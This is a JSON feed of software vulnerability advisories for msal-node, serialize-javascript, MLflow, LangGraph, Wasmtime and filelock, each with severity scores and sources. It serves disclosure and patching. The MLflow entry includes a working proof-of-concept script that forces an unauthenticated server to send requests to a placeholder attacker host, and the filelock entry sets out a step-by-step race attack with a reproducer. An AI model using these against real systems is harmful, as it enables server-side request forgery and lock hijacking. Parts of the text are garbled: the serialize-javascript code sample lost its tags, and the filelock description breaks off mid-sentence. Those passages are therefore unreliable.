7.1.0 and higher are patched.\n\n### Workarounds\n\nEnsure you pass in only the auth_code to to acquireTokenByCode\n\nAffected package ranges reported by GitHub:\n@azure/msal-node: >= 5.0.0-beta.0, < 7.1.0","action":"GitHub lists first patched versions: @azure/msal-node: 7.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:16:44.000Z","updatedAt":"2026-10-23T22:16:45.000Z","regions":["Global"],"vendor":null,"product":"@azure/msal-node","stacks":["Microsoft Azure","JavaScript packages (npm)","@azure/msal-node","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-xcx6-jx8p-x3h5","asOf":"2026-10-23T22:16:45.000Z"},"epss":{"probability":0.00361,"percentile":0.29658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xcx6-jx8p-x3h5","url":"https://github.com/advisories/GHSA-xcx6-jx8p-x3h5","type":"primary","publishedAt":"2026-10-23T22:16:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xcx6-jx8p-x3h5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115897","cveId":"CVE-2026-115897","aliases":["GHSA-m5mm-p8h7-m29v"],"kind":"vulnerability","title":"Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script at the end of a serialized function body","summary":"`serialize-javascript` escapes its output so it is safe to embed inside a\n` ` element. Before 7.1.3 that guarantee did not hold for a **function\nvalue whose source ends in a bare ` `).\nA body ending exactly at ` ` followed by markup:\n\n```js\nconst serialize = require('serialize-javascript');\nfunction f() {} f.toString = () => 'function f(){ return 1 }// 'function g(x){ return x } > ';\nserialize({ a: { f }, g }, { space: 2 });\n// {\n// \"a\": {\n// \"f\": function f(){ return 1 }// \n// }\n```","detail":"### Impact\n\n`serialize-javascript` escapes its output so it is safe to embed inside a\n` ` element. Before 7.1.3 that guarantee did not hold for a **function\nvalue whose source ends in a bare ` `).\nA body ending exactly at ` ` followed by markup:\n\n```js\nconst serialize = require('serialize-javascript');\nfunction f() {} f.toString = () => 'function f(){ return 1 }// 'function g(x){ return x } > ';\nserialize({ a: { f }, g }, { space: 2 });\n// {\n// \"a\": {\n// \"f\": function f(){ return 1 }// \n// }\n```\n\nEmbedded in a ` ` element, the script ends at the injected tag and the\n` ` becomes a live element in the page.\n\nExploitation requires an attacker to control the **source text** of a\nserialized function, in practice through a spoofed `toString()`. Real\nfunctions always end in `}`, so ordinary function values are not affected,\nand non-function values (including strings containing `</script`) are\nescaped correctly.\n\n### Patches\n\nFixed in **7.1.3** (#235). The bare `</script` form is now also matched at\nthe end of the function body, so it is escaped regardless of what follows it\nin the output.\n\n### Workarounds\n\nUpgrade to **7.1.3**. If you cannot upgrade, do not serialize function values\nwhose source text (or `toString()`) can be influenced by an attacker.\n\n### Credits\n\nReported by **ha_kr25** via the Yahoo bug bounty program.\n\nAffected package ranges reported by GitHub:\nserialize-javascript: < 7.1.3","action":"GitHub lists first patched versions: serialize-javascript: 7.1.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:09:52.000Z","updatedAt":"2026-10-23T22:09:53.000Z","regions":["Global"],"vendor":null,"product":"serialize-javascript","stacks":["JavaScript packages (npm)","serialize-javascript","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-m5mm-p8h7-m29v","asOf":"2026-10-23T22:09:53.000Z"},"epss":{"probability":0.00307,"percentile":0.23234,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-m5mm-p8h7-m29v","url":"https://github.com/advisories/GHSA-m5mm-p8h7-m29v","type":"primary","publishedAt":"2026-10-23T22:09:52.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-m5mm-p8h7-m29v, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115886","cveId":"CVE-2026-115886","aliases":["GHSA-2wqp-q3c6-ccj5"],"kind":"vulnerability","title":"MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints","summary":"```python\ndata = serialized.third_party_scorer_data # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None) # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {}) # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"] # attacker model URI\nscorer_instance = scorer_class(**init_kwargs) # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:","detail":"### Summary\nMLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).\n\n### Details\n`Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`:\n\n```python\ndata = serialized.third_party_scorer_data # attacker JSON\nmodule_path = data.get(\"module\") or \"\"\nclass_name = data.get(\"class\")\nif not any(module_path == m or module_path.startswith(m + \".\")\n for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):\n raise MlflowException.invalid_parameter_value(...)\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None) # attribute NOT constrained\n...\ninit_kwargs: dict[str, Any] = dict(data.get(\"kwargs\") or {}) # kwargs NOT constrained\n...\ninit_kwargs[\"model\"] = data[\"model\"] # attacker model URI\nscorer_instance = scorer_class(**init_kwargs) # reflective instantiation\n```\n\nThe allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n \"mlflow.genai.scorers.ragas\",\n \"mlflow.genai.scorers.deepeval\",\n \"mlflow.genai.scorers.trulens\",\n \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nFor a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`):\n\n```python\nbackend = ScorerLLMClient(model_uri)\nif backend.route == \"databricks\":\n return _create_databricks_provider(backend, **kwargs)\nif backend.is_native:\n return _create_gateway_provider(backend, **kwargs)\ntry:\n from trulens.providers.litellm import LiteLLM\n litellm_model = backend.model_name\n ...\n return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded\n```\n\nOnly the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`.\n\n- Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` — no auth decorator.\n- `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call.\n- Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup).\n\n### PoC\n```python\nimport time\nimport mlflow\nfrom mlflow import MlflowClient\nimport requests\n\nTARGET = \"http://TARGET:5000\" # MLflow tracking server, no auth configured\nATTACKER = \"http://ATTACKER/collect\" # host the attacker controls and monitors\n\nclient = MlflowClient(tracking_uri=TARGET)\n\n# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.\nexp_id = client.create_experiment(\"poc\")\nmlflow.set_tracking_uri(TARGET)\nmlflow.set_experiment(experiment_id=exp_id)\nwith mlflow.start_span(name=\"poc-span\") as span:\n span.set_inputs({\"q\": \"hi\"})\n span.set_outputs({\"a\": \"hi\"})\ntrace_id = span.request_id\n\n# 2. Attack: invoke a reflected trulens scorer whose kwargs point the\n# outbound LLM client at the attacker host with an attacker-chosen\n# Authorization value (their own canary, not a server secret).\nserialized_scorer = {\n \"name\": \"poc\",\n \"third_party_scorer_data\": {\n \"module\": \"mlflow.genai.scorers.trulens\",\n \"class\": \"Coherence\",\n \"metric_name\": \"Coherence\",\n \"model\": \"openai:/gpt-4o\", # routes to the litellm fallback\n \"kwargs\": {\n \"api_base\": ATTACKER,\n \"api_key\": \"ATTACKER-CANARY\", # attacker's own value, not a server secret\n },\n },\n}\nresp = requests.post(\n f\"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke\",\n json={\n \"experiment_id\": exp_id,\n \"serialized_scorer\": __import__(\"json\").dumps(serialized_scorer),\n \"trace_ids\": [trace_id],\n },\n)\nprint(resp.status_code, resp.text)\ntime.sleep(5) # scorer job runs asynchronously\n```\n\n```\n# Attacker-controlled listener at ATTACKER receives, moments later:\nPOST /collect/chat/completions HTTP/1.1\nAuthorization: Bearer ATTACKER-CANARY\nContent-Type: application/json\n...\n```\n\nThe `POST .../chat/completions` request landing on `ATTACKER`, carrying the attacker's own `Authorization` header, is the server-originated outbound request — no request was ever sent by the client to that host directly.\n\n### Impact\nAn unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional `trulens` + `trulens-providers-litellm` packages installed alongside MLflow.\n\nAffected package ranges reported by GitHub:\nmlflow: >= 3.12.0rc0, < 3.17.0","action":"GitHub lists first patched versions: mlflow: 3.17.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:07:26.000Z","updatedAt":"2026-10-23T22:07:27.000Z","regions":["Global"],"vendor":null,"product":"mlflow","stacks":["Python packages (PyPI)","mlflow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-2wqp-q3c6-ccj5","asOf":"2026-10-23T22:07:27.000Z"},"epss":{"probability":0.00324,"percentile":0.25173,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2wqp-q3c6-ccj5","url":"https://github.com/advisories/GHSA-2wqp-q3c6-ccj5","type":"primary","publishedAt":"2026-10-23T22:07:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-2wqp-q3c6-ccj5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115883","cveId":"CVE-2026-115883","aliases":["GHSA-6hmw-9432-67qq"],"kind":"vulnerability","title":"LangGraph: Namespace labels containing `.` reach other namespaces in Postgres and SQLite stores","summary":"The Postgres and SQLite stores save a namespace as its labels joined with `.`, so `(\"tenant\", \"bob\")` and `(\"tenant.bob\",)` map to the same stored namespace. `put` rejected labels containing `.`, but `get`, `search`, `delete`, `list_namespaces`, their async versions, and ops passed directly to `batch`/`abatch` did not. A caller that could pass such a label could read, overwrite or delete items in another namespace.\n\n`BaseStore` checked namespace labels only in `put`/`aput`. The other methods passed the namespace on unchecked, and `batch`/`abatch` checked nothing, including the `PutOp` items inside them. `PostgresStore`, `AsyncPostgresStore`, `SqliteStore` and `AsyncSqliteStore` turn a namespace into text with `\".\".join(namespace)`, so a label containing `.` resolved to the namespace whose labels it spells out:","detail":"### Summary\n\nThe Postgres and SQLite stores save a namespace as its labels joined with `.`, so `(\"tenant\", \"bob\")` and `(\"tenant.bob\",)` map to the same stored namespace. `put` rejected labels containing `.`, but `get`, `search`, `delete`, `list_namespaces`, their async versions, and ops passed directly to `batch`/`abatch` did not. A caller that could pass such a label could read, overwrite or delete items in another namespace.\n\n### Details\n\n`BaseStore` checked namespace labels only in `put`/`aput`. The other methods passed the namespace on unchecked, and `batch`/`abatch` checked nothing, including the `PutOp` items inside them. `PostgresStore`, `AsyncPostgresStore`, `SqliteStore` and `AsyncSqliteStore` turn a namespace into text with `\".\".join(namespace)`, so a label containing `.` resolved to the namespace whose labels it spells out:\n\n- `get((\"tenant.bob\",), key)`, `search((\"tenant.bob\",))` and `list_namespaces(prefix=(\"tenant.bob\",))` returned data stored under `(\"tenant\", \"bob\")`.\n- `delete((\"tenant.alice\",), key)` deleted the item stored under `(\"tenant\", \"alice\")`.\n- `batch([PutOp((\"tenant.bob\",), key, value)])` overwrote the item stored under `(\"tenant\", \"bob\")`.\n\nAll releases of `langgraph-checkpoint-postgres` before 3.1.3 and `langgraph-checkpoint-sqlite` before 3.1.2 are affected. `InMemoryStore` compares namespaces as tuples and is not affected.\n\n### Impact\n\nYou may be affected if you use one of these stores, rely on namespaces to keep users or tenants apart, and let untrusted input choose a namespace label that reaches a read, delete or `batch` call. Such input could read, overwrite or delete another tenant's items. Labels written through `put` could never contain `.`, so no stored data becomes unreachable after upgrading.\n\nLangSmith Deployment: the HTTP store API already rejected such labels, but store calls made from graph code reached the same flaw. The Agent Server rejects these labels from versions 0.15.5 and 0.16.2. On LangSmith Cloud, new deployments and revisions already include the fix and existing deployments get it on their next revision; self-hosted deployments should upgrade.\n\n### Remediation\n\nUpgrade to `langgraph-checkpoint-postgres` 3.1.3 or `langgraph-checkpoint-sqlite` 3.1.2. Both require `langgraph-checkpoint` 4.3.0, where `get`, `search`, `delete` and `list_namespaces` reject labels that are empty, are not strings, or contain `.` with `InvalidNamespaceError`, and the Postgres and SQLite stores apply the same check to every op passed to `batch`/`abatch`. Stores outside this repository that turn namespaces into delimited text can call `langgraph.store.base.validate_op_namespace` for each op they run.\n\nAffected package ranges reported by GitHub:\nlanggraph-checkpoint-postgres: < 3.1.3\nlanggraph-checkpoint-sqlite: < 3.1.2","action":"GitHub lists first patched versions: langgraph-checkpoint-postgres: 3.1.3; langgraph-checkpoint-sqlite: 3.1.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:06:44.000Z","updatedAt":"2026-10-25T06:53:31.000Z","regions":["Global"],"vendor":null,"product":"langgraph-checkpoint-postgres, langgraph-checkpoint-sqlite","stacks":["PostgreSQL","Python packages (PyPI)","langgraph-checkpoint-postgres","langgraph-checkpoint-sqlite","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-6hmw-9432-67qq","asOf":"2026-10-25T06:53:31.000Z"},"epss":{"probability":0.00298,"percentile":0.22303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6hmw-9432-67qq","url":"https://github.com/advisories/GHSA-6hmw-9432-67qq","type":"primary","publishedAt":"2026-10-23T22:06:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6hmw-9432-67qq, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115892","cveId":"CVE-2026-115892","aliases":["GHSA-9pvw-hwfg-92h5"],"kind":"vulnerability","title":"Wasmtime: Panic lowering a host-created component model stream into a guest that expects a different payload type","summary":"Wasmtime may panic when the host lowers a component model `stream` or `future` into a guest, if the host created that stream or future with one payload type and the guest expects a different one. This can happen when an embedder creates a stream or future, passes it through a guest, receives it back under a type-erased type such as `StreamAny` or `FutureAny`, and then passes it to a guest function with a different payload type.\n\nGHSA-63h4-6cx9-pjfj is a related advisory also fixing issues within this area, and this advisory is being issued for portions of Wasmtime that were not fixed as part of that advisory.","detail":"### Summary\n\nWasmtime may panic when the host lowers a component model `stream` or `future` into a guest, if the host created that stream or future with one payload type and the guest expects a different one. This can happen when an embedder creates a stream or future, passes it through a guest, receives it back under a type-erased type such as `StreamAny` or `FutureAny`, and then passes it to a guest function with a different payload type.\n\nGHSA-63h4-6cx9-pjfj is a related advisory also fixing issues within this area, and this advisory is being issued for portions of Wasmtime that were not fixed as part of that advisory.\n\n### Impact\n\nThis affects embedders that do all of the following:\n\n1. Create streams or futures on the host with `StreamReader::new` or `FutureReader::new`\n2. Pass them to guest code and receive them back as `StreamAny`, `FutureAny`, `Val::Stream`/`Val::Future`, or a typed reader whose payload is one of these.\n3. Pass them on to a guest function whose `stream` or `future` payload type differs from the type the host created them with.\n\nA guest can cause the mismatch in step 3 when it controls the types of the functions it exports or of the values it returns. In that case a malicious guest can make the host panic, a denial of service. Embedders that only use statically typed `StreamReader `/`FutureReader ` with concrete payload types throughout, or that never pass streams or futures they created through a guest and back, are not affected.\n\nAffected package ranges reported by GitHub:\nwasmtime: >= 46.0.0, < 48.0.7\nwasmtime: >= 49.0.0, < 49.0.4","action":"GitHub lists first patched versions: wasmtime: 48.0.7; wasmtime: 49.0.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:04:45.000Z","updatedAt":"2026-10-23T22:04:47.000Z","regions":["Global"],"vendor":null,"product":"wasmtime, wasmtime","stacks":["Rust crates","wasmtime","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9pvw-hwfg-92h5","asOf":"2026-10-23T22:04:47.000Z"},"epss":{"probability":0.00434,"percentile":0.37373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9pvw-hwfg-92h5","url":"https://github.com/advisories/GHSA-9pvw-hwfg-92h5","type":"primary","publishedAt":"2026-10-23T22:04:45.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9pvw-hwfg-92h5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112906","cveId":"CVE-2026-112906","aliases":["GHSA-2g95-wg33-c5x2"],"kind":"vulnerability","title":"filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse","summary":"`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ` `, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.\n\nAnother local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.","detail":"`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ` `, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.\n\nAnother local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.\n\nTwo of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and /stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.\n\nNeither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.\n\n1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.\n2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.\n3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.\n4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.\n5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`.\n6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.\n7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.\n\nStep 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.\n\n`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == \"lease\" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nLOCK_DIR = \"/tmp/locks\"\nLOCK_PATH = \"/tmp/locks/app.lock\"\nHOLDS_LOG = \"/tmp/holds.log\"\n\ndef start_victims():\n # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it\n shutil.rmtree(LOCK_DIR, ignore_errors=True)\n os.mkdir(LOCK_DIR)\n os.chmod(LOCK_DIR, 0o1777)\n victim = [sys.executable, \"/tmp/repro.d/victim.py\", LOCK_PATH]\n with open(HOLDS_LOG, \"w\") as holds_log:\n return [\n subprocess.Popen(victim, stdout=holds_log, user=\"victim\", group=\"victim\", extra_groups=[])\n for _ in \n\nAffected package ranges reported by GitHub:\nfilelock: >= 4.1.0, <= 4.2.0","action":"GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:00:33.000Z","updatedAt":"2026-10-23T22:00:36.000Z","regions":["Global"],"vendor":null,"product":"filelock","stacks":["Python packages (PyPI)","filelock","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-2g95-wg33-c5x2","asOf":"2026-10-23T22:00:36.000Z"},"epss":{"probability":0.00206,"percentile":0.10477,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112906&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 